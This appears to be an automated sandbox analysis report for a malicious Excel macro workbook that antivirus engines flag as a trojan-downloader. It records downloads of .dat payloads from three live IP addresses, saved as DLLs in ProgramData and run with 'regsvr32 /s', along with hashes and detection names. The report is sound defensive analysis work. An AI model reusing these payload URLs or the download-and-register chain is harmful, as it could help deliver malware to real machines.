popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

REJ-507558316-Apr-12.xlsb

VBA_macro Malicious Library Excel Binary Workbook file format(xlsb)
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 April 13, 2022, 12:09 p.m. April 13, 2022, 12:12 p.m.
Size 1.2MB
Type Microsoft Excel 2007+
MD5 c40dfd30b7298c8fecee2c1dfd04a4ff
SHA256 54ec1cd56022272156d9d8fcc48cc00cb05e96f843c139f63aff90c57cb28772
CRC32 6E08649B
ssdeep 24576:ibT5/NgEa4uiwMIEz3cDnWFBGcMKSWXMgeAZK0jR4kyeMuoN:ifla7q3PYGjMKJXMgNZLOeo
Yara
  • xlsb - Excel Binary Workbook file format detection
  • Malicious_Library_Zero - Malicious_Library
  • Contains_VBA_macro_code - Detect a MS Office document with embedded VBA macro code [binaries]

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
164.124.101.2 Active Moloch
185.82.127.37 Active Moloch
51.195.38.33 Active Moloch
87.236.146.116 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

suspicious_features Connection to IP address suspicious_request GET http://185.82.127.37/7790983516.dat
suspicious_features Connection to IP address suspicious_request GET http://87.236.146.116/7790983516.dat
suspicious_features Connection to IP address suspicious_request GET http://51.195.38.33/7790983516.dat
request GET http://185.82.127.37/7790983516.dat
request GET http://87.236.146.116/7790983516.dat
request GET http://51.195.38.33/7790983516.dat
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2208
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6b4e3000
process_handle: 0xffffffff
1 0 0
file C:\ProgramData\Ulhdhrthdr2.dll
file C:\ProgramData\Ulhdhrthdr.dll
file C:\ProgramData\Ulhdhrthdr1.dll
Time & API Arguments Status Return Repeated

NtCreateFile

 create_disposition: 2 (FILE_CREATE)
file_handle: 0x000003f0
filepath: C:\Users\test22\AppData\Local\Temp\~$REJ-507558316-Apr-12.xlsb
desired_access: 0xc0110080 (FILE_READ_ATTRIBUTES|DELETE|SYNCHRONIZE|GENERIC_WRITE)
file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN)
filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$REJ-507558316-Apr-12.xlsb
create_options: 4198496 (FILE_NON_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT|FILE_DELETE_ON_CLOSE)
status_info: 2 (FILE_CREATED)
share_access: 1 (FILE_SHARE_READ)
1 0 0
cmdline regsvr32 /s C:\ProgramData\Ulhdhrthdr.dll
cmdline regsvr32 /s C:\ProgramData\Ulhdhrthdr1.dll
cmdline regsvr32 /s C:\ProgramData\Ulhdhrthdr2.dll
Sangfor Malware.Generic-XLM.Save.ma35
Cyren XF/SneakyBin.E.gen!Eldorado
Avast VBS:Malware-gen
Kaspersky HEUR:Trojan.MSOffice.Generic
Tencent Trojan.MsOffice.Macro40.11003135
GData Macro.Trojan-Downloader.Agent.BDH
Ikarus Trojan-Downloader.XLM.Agent
Fortinet MSOffice/Agent.92DD!tr
AVG VBS:Malware-gen
host 185.82.127.37
host 51.195.38.33
host 87.236.146.116
Time & API Arguments Status Return Repeated

URLDownloadToFileW

 url: http://185.82.127.37/7790983516.dat
stack_pivoted: 0
filepath_r: C:\ProgramData\Ulhdhrthdr.dll
filepath: C:\ProgramData\Ulhdhrthdr.dll
2148270088 0

URLDownloadToFileW

 url: http://87.236.146.116/7790983516.dat
stack_pivoted: 0
filepath_r: C:\ProgramData\Ulhdhrthdr1.dll
filepath: C:\ProgramData\Ulhdhrthdr1.dll
2148270088 0

URLDownloadToFileW

 url: http://51.195.38.33/7790983516.dat
stack_pivoted: 0
filepath_r: C:\ProgramData\Ulhdhrthdr2.dll
filepath: C:\ProgramData\Ulhdhrthdr2.dll
2148270088 0
parent_process excel.exe martian_process regsvr32 /s C:\ProgramData\Ulhdhrthdr.dll
parent_process excel.exe martian_process regsvr32 /s C:\ProgramData\Ulhdhrthdr1.dll
parent_process excel.exe martian_process regsvr32 /s C:\ProgramData\Ulhdhrthdr2.dll